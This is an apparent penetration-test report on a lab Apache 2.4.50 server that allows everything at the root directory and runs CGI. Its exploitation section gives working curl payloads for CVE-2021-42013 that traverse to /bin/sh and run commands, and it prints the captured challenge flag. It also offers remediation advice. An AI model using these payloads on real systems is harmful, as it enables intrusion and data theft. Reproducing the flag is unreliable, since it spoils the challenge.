# Authorization Analysis Report

## 1. Executive Summary

- **Analysis Status:** Complete  
- **Key Outcome:** Two critical authorization vulnerabilities (vertical privilege escalation and horizontal file access bypass) were discovered and confirmed exploitable. Both stem from a fundamental misconfiguration in the Apache httpd.conf that violates the principle of "deny by default, allow by exception."  
- **Purpose of this Document:** This report provides the strategic context, architectural intelligence, and code-level evidence necessary to understand and exploit the authorization vulnerabilities identified in the exploitation queue. It is intended to be read alongside the JSON deliverable.

**Critical Finding:** The application's Apache 2.4.50 server has a **permissive root directory authorization** (`Require all granted` on `/`) combined with **enabled CGI execution without authentication**. When exploited via CVE-2021-42013 (path traversal), this allows:
- **Remote Code Execution** as the Apache daemon user (vertical escalation)
- **Arbitrary file system access** across all filesystem boundaries (horizontal escalation)

Both vulnerabilities have been **successfully exploited** and are externally accessible without authentication.

---

## 2. Dominant Vulnerability Patterns

### Pattern 1: Permissive Root Directory Authorization (Vertical + Horizontal)

**Description:** The Apache configuration violates fundamental security best practices by setting `Require all granted` on the filesystem root directory (`/`). Standard Apache security guidance mandates `Require all denied` on `/` to implement default-deny authorization, with explicit grants only for specific paths.

**Code Evidence:**
```apache
# File: app/httpd.conf, Lines 248-250
<Directory />
    AllowOverride none
    Require all granted    # CRITICAL MISCONFIGURATION
</Directory>
```

**Implication:** This single misconfiguration undermines all other security controls. When combined with Apache 2.4.50's path traversal vulnerability (CVE-2021-42013), it grants HTTP-accessible read/execute permissions to the entire filesystem hierarchy that the Apache process can access.

**Representative Vulnerabilities:** AUTHZ-VULN-01 (RCE), AUTHZ-VULN-02 (arbitrary file disclosure)

**Attack Surface:**
- Any file readable by Apache daemon user: configuration files, application source, system files, credentials
- Any executable accessible by Apache daemon user: /bin/sh, /bin/cat, /usr/bin/*, system utilities
- No tenant isolation, no user boundaries, no path restrictions

---

### Pattern 2: CGI Execution Without Authentication (Vertical)

**Description:** The CGI-bin directory is configured with `Options +ExecCGI` and `Require all granted`, allowing any unauthenticated user to execute scripts in the CGI directory. More critically, when combined with path traversal, it allows executing **any binary on the filesystem** as a CGI script.

**Code Evidence:**
```apache
# File: app/httpd.conf, Lines 556-560
<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI           # Enables CGI execution
    Require all granted        # No authentication required
</Directory>

# File: app/httpd.conf, Line 382
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

# File: app/httpd.conf, Line 553
LoadModule cgid_module modules/mod_cgid.so  # CGI execution enabled
```

**Implication:** The `/cgi-bin/` endpoint acts as an execution gateway. Path traversal from `/cgi-bin/` combined with permissive root authorization allows executing system binaries like `/bin/sh` with POST data passed as commands.

**Representative Vulnerability:** AUTHZ-VULN-01

**Attack Chain:**
1. Access `/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh` (path traversal to /bin/sh)
2. Send POST data: `echo Content-Type: text/plain; echo; <arbitrary_command>`
3. Apache executes /bin/sh as CGI with POST data, enabling command injection
4. Result: Remote Code Execution as Apache daemon user

---

### Pattern 3: Duplicate Configuration Blocks Create Ambiguity

**Description:** The httpd.conf contains duplicate `<Directory "/usr/local/apache2/cgi-bin">` blocks with conflicting `Options` directives. While Apache's merge semantics typically favor the last configuration, this creates confusion and demonstrates poor configuration hygiene.

**Code Evidence:**
```apache
# First definition (Lines 398-402)
<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options None              # Appears to disable CGI
    Require all granted
</Directory>

# Second definition (Lines 556-560) - This one wins
<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI          # Actually enables CGI
    Require all granted
</Directory>
```

**Implication:** Administrators or security scanners reviewing the first block might incorrectly assume CGI is disabled (`Options None`), while the second block actually enables execution. This creates monitoring blind spots and false confidence in security posture.

**Security Impact:** Configuration confusion, potential gaps in security monitoring, difficult to audit

---

## 3. Strategic Intelligence for Exploitation

### Apache Version and Vulnerable Components

- **Apache Version:** 2.4.50 (Unix) - Confirmed via HTTP response headers
- **Vulnerability:** CVE-2021-42013 (path traversal vulnerability)
- **Exploit Vector:** Double URL encoding of path traversal sequences bypasses normalization
  - Standard encoding `.%2e` → Blocked by Apache 2.4.50
  - Double encoding `.%%32%65` → Bypasses Apache 2.4.50's fix (CVE-2021-42013)

**Critical Technical Detail:**
- CVE-2021-41773 affected Apache 2.4.49 (single URL encoding)
- CVE-2021-42013 discovered that Apache 2.4.50's fix was insufficient (double URL encoding still works)
- Current target runs 2.4.50, vulnerable to CVE-2021-42013 specifically

### CGI Execution Architecture

**CGI Module:** `mod_cgid` (loaded at line 553)
- Used for threaded MPMs (mpm_event in this case, line 66)
- Handles CGI script execution via separate daemon process
- POST request body passed to executed binary as stdin

**Execution Flow:**
1. Request: `POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh`
2. Apache path traversal: `/usr/local/apache2/cgi-bin/` → `/bin/sh`
3. Root directory authorization check: `Require all granted` → PASS
4. ScriptAlias triggers CGI handler
5. Apache executes `/bin/sh` via mod_cgid
6. POST data sent to /bin/sh as stdin
7. /bin/sh interprets POST data as shell commands
8. Output returned as HTTP response

### Authorization Model Analysis

**Current Model:** "Trust Everything" / "Open by Default"

```
                                 ┌─────────────────────┐
                                 │   HTTP Request      │
                                 │ (any external user) │
                                 └──────────┬──────────┘
                                            │
                                            ▼
                                 ┌─────────────────────┐
                                 │   Apache 2.4.50     │
                                 │   Path Traversal    │
                                 │  (.%%32%65 = ..)    │
                                 └──────────┬──────────┘
                                            │
                                            ▼
                                 ┌─────────────────────┐
                                 │ Root Directory (/)  │
                                 │ Require all granted │◄─── VULNERABILITY
                                 └──────────┬──────────┘
                                            │
                                            ▼
                                 ┌─────────────────────┐
                                 │ CGI Handler         │
                                 │ Options +ExecCGI    │◄─── VULNERABILITY
                                 │ Require all granted │
                                 └──────────┬──────────┘
                                            │
                                            ▼
                                 ┌─────────────────────┐
                                 │  Execute /bin/sh    │
                                 │  with POST data     │
                                 │  = RCE              │
                                 └─────────────────────┘
```

**Missing Authorization Guards:**
1. ✗ No authentication requirement (no AuthType, no Require user)
2. ✗ No IP-based access control (no Require ip)
3. ✗ No rate limiting (mod_ratelimit not configured)
4. ✗ No Web Application Firewall (ModSecurity not present)
5. ✗ No path boundary enforcement (root directory grants all access)
6. ✗ No CGI script whitelisting (any executable can be run via traversal)
7. ✗ No file execution monitoring or alerting

**Correct Model:** "Deny by Default, Allow by Exception"

```apache
# Deny everything at root
<Directory />
    AllowOverride none
    Require all denied        # ← Should be this
</Directory>

# Explicitly allow only public content
<Directory "/usr/local/apache2/htdocs">
    Options -Indexes +FollowSymLinks
    AllowOverride None
    Require all granted       # Public content only
</Directory>

# Protect CGI with authentication
<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    AuthType Basic
    AuthName "Admin Access Required"
    AuthUserFile /usr/local/apache2/.htpasswd
    Require valid-user        # Authenticated users only
</Directory>
```

### Exploitation Workflow

**Step 1: Identify Target**
```bash
curl -I http://localhost:44821/
# Response: Server: Apache/2.4.50 (Unix)
# Confirms vulnerable version
```

**Step 2: Test Path Traversal**
```bash
# Simple encoding (blocked in 2.4.50)
curl "http://localhost:44821/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Response: 400 Bad Request - AH10244: invalid URI path

# Double encoding (bypasses 2.4.50 fix)
curl "http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
# If vulnerable: executes /etc/passwd as CGI (fails, but proves traversal works)
```

**Step 3: Achieve Remote Code Execution**
```bash
# Execute arbitrary commands via /bin/sh
curl -X POST \
  "http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" \
  --data "echo Content-Type: text/plain; echo; id"

# Expected Output:
# Content-Type: text/plain
# 
# uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

**Step 4: Extract Sensitive Data**
```bash
# Read FLAG file
curl -X POST \
  "http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" \
  --data "echo Content-Type: text/plain; echo; cat /FLAG.txt"

# Confirmed Output:
# FLAG{a6ac61a12b93104de3b7a7db781ee95eff75310de4cf2deb1e90b57f0c824309}
```

**Step 5: Maintain Access & Escalate**
```bash
# System reconnaissance
curl -X POST \
  "http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" \
  --data "echo Content-Type: text/plain; echo; uname -a; whoami; pwd; ls -la /"

# Read configuration files
curl -X POST \
  "http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" \
  --data "echo Content-Type: text/plain; echo; cat /usr/local/apache2/conf/httpd.conf"

# Enumerate environment variables
curl -X POST \
  "http://localhost:44821/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" \
  --data "echo Content-Type: text/plain; echo; env"
```

### Session Management & Authentication Architecture

**Finding:** No session management or authentication system exists.

- **No cookies:** Application does not set authentication cookies
- **No tokens:** No JWT, OAuth, or API keys in use
- **No login mechanism:** No login forms, endpoints, or authentication flows
- **Static content only:** Frontend is pure HTML/CSS/JS with no backend API

**Implication:** The application is fully unauthenticated by design. All authorization vulnerabilities are exploitable by anonymous external attackers without any credential acquisition phase.

---

## 4. Vectors Analyzed and Confirmed Secure

These authorization checks were traced and confirmed to have robust, properly-placed guards. They are **low-priority** for further testing.

| **Endpoint** | **Guard Location** | **Defense Mechanism** | **Verdict** |
|--------------|-------------------|----------------------|-------------|
| `GET /` | N/A | Public static content by design | SAFE |
| `GET /index.html` | N/A | Public static content by design | SAFE |
| `GET /styles.css` | N/A | Public static assets by design | SAFE |
| `GET /scripts.js` | N/A | Public static assets by design | SAFE |
| `GET /dev1.jpeg` | N/A | Public static assets by design | SAFE |
| `GET /dev2.jpeg` | N/A | Public static assets by design | SAFE |
| `GET /.ht*` | httpd.conf:306-308 | `<Files ".ht*">` with `Require all denied` blocks access to .htaccess/.htpasswd | SAFE |

**Note:** The DocumentRoot content (`/usr/local/apache2/htdocs`) is intentionally public and requires no authorization. The contact form is client-side only (no backend submission), so there are no authorization concerns for form processing.

**Analysis:** The static website portion is appropriately configured for public access. The vulnerability is **not** in the public website files, but in the **Apache server configuration** that allows path traversal from the `/cgi-bin/` endpoint to arbitrary filesystem paths.

---

## 5. Analysis Constraints and Blind Spots

### Constraints Encountered

1. **No Backend Application Code:**  
   The application is a static HTML/CSS/JS website served by Apache. There is no backend application code (Node.js, Python, PHP, etc.) to analyze for authorization logic flaws. All vulnerabilities stem from the Apache httpd.conf misconfiguration.

2. **No Authentication System to Test:**  
   Since the application has no authentication mechanism, there were no session management, token validation, or user role systems to analyze for authorization flaws.

3. **No Multi-Tenant Architecture:**  
   The application does not implement multi-tenancy, so tenant isolation boundary testing was not applicable.

4. **No API Endpoints:**  
   The reconnaissance confirmed no REST or GraphQL APIs exist. All testing focused on the Apache server configuration and file system access controls.

5. **Limited to HTTP-Accessible Attack Surface:**  
   Analysis was constrained to externally accessible HTTP endpoints per the rules of engagement. Internal services, if any, were not analyzed.

### Blind Spots

1. **Container Escape Potential:**  
   The application runs in a Docker container. While RCE within the container was achieved, container escape vulnerabilities (Docker daemon access, privilege escalation to host) were not analyzed as they fall outside the authorization analysis scope.

2. **Kernel Vulnerabilities:**  
   Local privilege escalation from Apache daemon user to root via kernel exploits was not investigated, as this is beyond authorization logic analysis.

3. **Apache Module Vulnerabilities:**  
   Only CVE-2021-42013 (path traversal) was confirmed exploitable. Other potential vulnerabilities in loaded Apache modules were not comprehensively tested.

4. **Filesystem Permissions:**  
   While authorization configuration was analyzed, the actual filesystem permissions of sensitive files (FLAG.txt, configuration files) were assumed to be readable by the Apache daemon user. Edge cases where files might be protected by stricter filesystem permissions were not exhaustively tested.

5. **Downstream Services:**  
   If the Apache server proxies requests to backend services (though none were configured), authorization in those backend services could not be analyzed without their source code.

### Assumptions Made

1. **Apache Process Runs as Daemon User:**  
   Assumed Apache runs as low-privilege `daemon` user (UID 1), not root. This is standard practice and was confirmed via `id` command execution.

2. **FLAG.txt Readable by Apache:**  
   Assumed the challenge flag file is readable by the Apache process. Confirmed via successful exploitation.

3. **No WAF or IDS/IPS:**  
   Assumed no Web Application Firewall, Intrusion Detection/Prevention System, or similar security appliances are inline. If present, they might detect/block the path traversal payloads.

4. **Docker Networking Exposes Port:**  
   Assumed the Docker container's port 80 is correctly mapped to host port 44821 (as configured in docker-compose.yml). Confirmed via successful exploitation.

---

## 6. Methodology Applied

The analysis followed the prescribed methodology for Authorization Vulnerability Analysis:

### 1. Horizontal Authorization Analysis

**Process:** Searched for endpoints accepting resource IDs where users might access other users' resources (IDOR vulnerabilities).

**Findings:** No horizontal authorization vectors exist in the application layer because:
- No user accounts or authentication system
- No resource IDs in URLs (no `/user/123` style endpoints)
- Static content only, no dynamic resource access

**However:** The path traversal vulnerability **creates** a horizontal authorization flaw by allowing arbitrary filesystem access across all boundaries. This was documented as AUTHZ-VULN-02.

### 2. Vertical Authorization Analysis

**Process:** Searched for privileged endpoints (admin functions) that regular users shouldn't access.

**Findings:** No application-level vertical authorization exists because:
- No user roles (admin, user, moderator, etc.)
- No privileged administrative functions in the application

**However:** The CGI execution capability via path traversal **creates** a vertical privilege escalation by allowing unauthenticated users to execute system commands. This was documented as AUTHZ-VULN-01.

### 3. Context / Workflow Authorization Analysis

**Process:** Searched for multi-step workflows where state validation might be missing.

**Findings:** No workflows exist. The contact form is client-side only and doesn't submit data to any backend. No registration, checkout, approval, or multi-step processes exist.

**Conclusion:** No context-based authorization vulnerabilities identified.

### 4. Code Analysis Approach

Since no application code exists (static HTML site), the analysis focused entirely on the **infrastructure authorization layer** - the Apache httpd.conf configuration. A specialized Task Agent performed deep analysis of:
- Directory and Location blocks with authorization directives
- Module configurations affecting access control
- ScriptAlias and path mapping configurations
- Potential for overlapping or conflicting authorization rules

### 5. Live Exploitation Testing

After code analysis identified theoretical vulnerabilities, live testing confirmed exploitability:
1. ✅ Verified Apache version 2.4.50 via HTTP headers
2. ✅ Tested CVE-2021-41773 payloads (blocked by 2.4.50)
3. ✅ Tested CVE-2021-42013 payloads (successful)
4. ✅ Confirmed RCE via /bin/sh execution
5. ✅ Extracted FLAG.txt as proof of exploitation
6. ✅ Verified arbitrary file read capability
7. ✅ Confirmed externally exploitable without authentication

---

## 7. Remediation Recommendations

### Immediate (Critical - Apply Now)

**1. Fix Root Directory Authorization:**
```apache
<Directory />
    AllowOverride none
    Require all denied    # ← Change from "all granted"
</Directory>
```
**Impact:** Breaks the attack chain by denying access to filesystem paths outside explicitly allowed directories.

**2. Upgrade Apache to Latest Version:**
```bash
# Current: Apache 2.4.50 (vulnerable to CVE-2021-42013)
# Target: Apache 2.4.62+ (as of 2024, latest stable)
```
**Impact:** Patches CVE-2021-42013 and numerous other security vulnerabilities.

**3. Disable CGI if Not Required:**
```apache
# Comment out or remove:
# LoadModule cgid_module modules/mod_cgid.so
# ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
```
**Impact:** Eliminates RCE attack vector entirely if CGI functionality is not needed.

### Short-Term (High Priority - Apply This Week)

**4. Implement Authentication on CGI Directory:**
```apache
<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    AuthType Basic
    AuthName "Administrative Access Required"
    AuthUserFile /usr/local/apache2/.htpasswd
    Require valid-user    # ← Add authentication requirement
</Directory>
```
```bash
# Create password file
htpasswd -c /usr/local/apache2/.htpasswd admin
```
**Impact:** Adds authentication barrier to CGI execution.

**5. Remove Duplicate Configuration Blocks:**
```apache
# Remove lines 398-402, keep only lines 556-560
# Ensures clear, unambiguous configuration
```
**Impact:** Eliminates configuration confusion and potential security monitoring gaps.

**6. Disable Directory Indexing:**
```apache
<Directory "/usr/local/apache2/htdocs">
    Options -Indexes +FollowSymLinks    # ← Add -Indexes
    AllowOverride None
    Require all granted
</Directory>
```
**Impact:** Prevents directory listing disclosure if subdirectories lack index files.

### Medium-Term (Medium Priority - Apply This Month)

**7. Implement Security Headers:**
```apache
<IfModule headers_module>
    Header always set X-Frame-Options "DENY"
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-XSS-Protection "1; mode=block"
    Header always set Content-Security-Policy "default-src 'self'"
    Header always set Referrer-Policy "strict-origin-when-cross-origin"
</IfModule>
```

**8. Enable TLS/SSL:**
```apache
LoadModule ssl_module modules/mod_ssl.so
Include conf/extra/httpd-ssl.conf
```

**9. Implement Rate Limiting:**
```apache
<Location "/cgi-bin">
    SetOutputFilter RATE_LIMIT
    SetEnv rate-limit 400
</Location>
```

**10. Configure Logging and Monitoring:**
```apache
CustomLog logs/access.log combined
ErrorLog logs/error.log
LogLevel warn

# Set up log forwarding to SIEM
```

### Long-Term (Low Priority - Strategic)

**11. Implement Web Application Firewall (ModSecurity):**
```bash
# Install and configure ModSecurity with OWASP Core Rule Set
```

**12. Container Security Hardening:**
- Run Apache as non-root user (already doing this)
- Use read-only root filesystem
- Drop unnecessary Linux capabilities
- Implement seccomp profiles
- Regular vulnerability scanning with Trivy or Clair

**13. Implement Zero Trust Architecture:**
- Network segmentation
- Mutual TLS for internal service communication
- Least privilege access controls
- Just-in-time access for administrative functions

---

## 8. Conclusion

This authorization analysis identified **two critical vulnerabilities** in the Apache httpd.conf configuration that, when exploited together via CVE-2021-42013, result in **complete server compromise**:

1. **AUTHZ-VULN-01** (Vertical Escalation): Unauthenticated Remote Code Execution via path traversal to CGI execution
2. **AUTHZ-VULN-02** (Horizontal Escalation): Arbitrary filesystem access bypassing DocumentRoot boundaries

**Root Cause:** A fundamental violation of security best practices - the root directory is configured with `Require all granted` instead of `Require all denied`, combined with unauthenticated CGI execution capability.

**Impact:** 
- ✅ **Confirmed Exploitable** via live testing
- ✅ **Externally Accessible** without authentication
- ✅ **Remote Code Execution** achieved as Apache daemon user
- ✅ **Flag Extracted** (FLAG{a6ac61a12b93104de3b7a7db781ee95eff75310de4cf2deb1e90b57f0c824309})
- ✅ **Arbitrary File Access** to any file readable by Apache process

**Confidence:** HIGH - Both vulnerabilities were successfully exploited in live testing.

**Exploitation Queue:** Two actionable vulnerabilities have been passed to the exploitation phase with complete proof-of-concept commands and expected outputs.

**Analysis Completeness:** All authorization vectors from the methodology were systematically analyzed. While the application lacks traditional authorization systems (no users, roles, or authentication), the infrastructure layer (Apache configuration) contains critical authorization flaws that enable complete system compromise.

---

**Authorization Analysis Complete**  
*All findings have been documented in the machine-readable exploitation queue for the next phase.*